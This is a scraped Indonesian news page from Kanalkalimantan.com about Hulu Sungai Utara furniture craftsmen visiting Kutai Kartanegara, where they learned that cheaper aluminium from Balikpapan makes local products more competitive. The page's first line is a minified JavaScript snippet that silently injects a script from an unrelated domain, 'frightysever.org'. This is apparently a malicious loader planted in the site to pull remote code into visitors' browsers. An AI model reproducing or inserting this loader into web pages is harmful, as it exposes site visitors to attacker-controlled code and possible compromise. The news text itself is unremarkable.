(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Kaji Tiru Pengrajin HSU ke Kukar, Ini Penyebab Produk Meubel di Kaltim Lebih Bersaing


KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan kualitas dan kreativitas pengrajin, Dinas Koperasi Perindustrian dan Perdagangan Usaha Kecil Menengah (Diskoperindag UKM) Kabupaten Hulu Sungai Utara (HSU) membawa para pengrajin melakukan studi kaji ke sentra kerajinan di Kalimantan Timur.

Di dampingi Pelaksana Tugas (Plt) Kepala Diskoperindag UKM dan staf industri, ada 12 orang dari pengrajin magang UPT Produk Industri Daerah dan Pengrajin Meubel Kayu asal HSU yang melakukan studi kaji ke Kabupaten Kutai Kertanagara, Kaltim.

Kabid Perindustrian, H Muhammad Yani mengatakan, 12 pengrajin asal HSU belajar ke sentra Meubel Lestari di Kabupaten Kutai Kertanagara, Kaltim, pada 22-25 Mei 2022.

“Tujuan kita ke Kalimantan Timur untuk mengajak para pengrajin melihat proses produksi kerajinan yang di sana. Hasil kaji tiru mudah-mudahan dapat meningkatkan kualitas produk para pengrajin meubel di HSU, dan produk semakin inovatif,” beber Yani kepada Kanalkalimantan.com, Jumat (27/5/2022).

 

 

Baca juga: Siap Diberangkatkan, 2.482 CJH Embarkasi Banjarmasin Dibagi 7 Kloter

Ia menambahkan disamping melaksanakan kaji tiru, pihaknya juga melakukan peninjauan harga bahan baku aluminium sebagai bahan utama pembuatan produk meubel aluminium di Kaltim.

Para pengrajin meubel aluminium, menurut Yani, keluhkan permintaan produk asal HSU yang mengalami penurunan dari wilayah Kaltim.

“Ternyata setelah kita cek penyebabnya bahan baku aluminium yang datang dari Balikpapan lebih murah dibandingkan yang datang dari Banjarmasin, sehingga harga produk meubel di Kaltim cukup bersaing,” bebernya.

Bahkan Yani mengakui, beberapa pengusaha pengrajin meubel di Kabupaten Kutai Kartanegara berasal dari HSU yang sekarang telah membuka usaha sendiri.

Oleh karena itu, meski harga produk bersaing ia meminta kepada para pengrajin di HSU atau pengrajin asal HSU yang telah menetap di Kaltim mengutamakan kualitas.

“Meski bersaing, saya pesan agar para pengrajin agar masing-masing meningkatkan kualitas produk, karena konsumen sekarang tidak hanya memandang harga saja, namun juga kualitas, termasuk label penamaan atau merek,” tandasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

12 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

13 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

13 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

15 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

16 jam ago

This website uses cookies.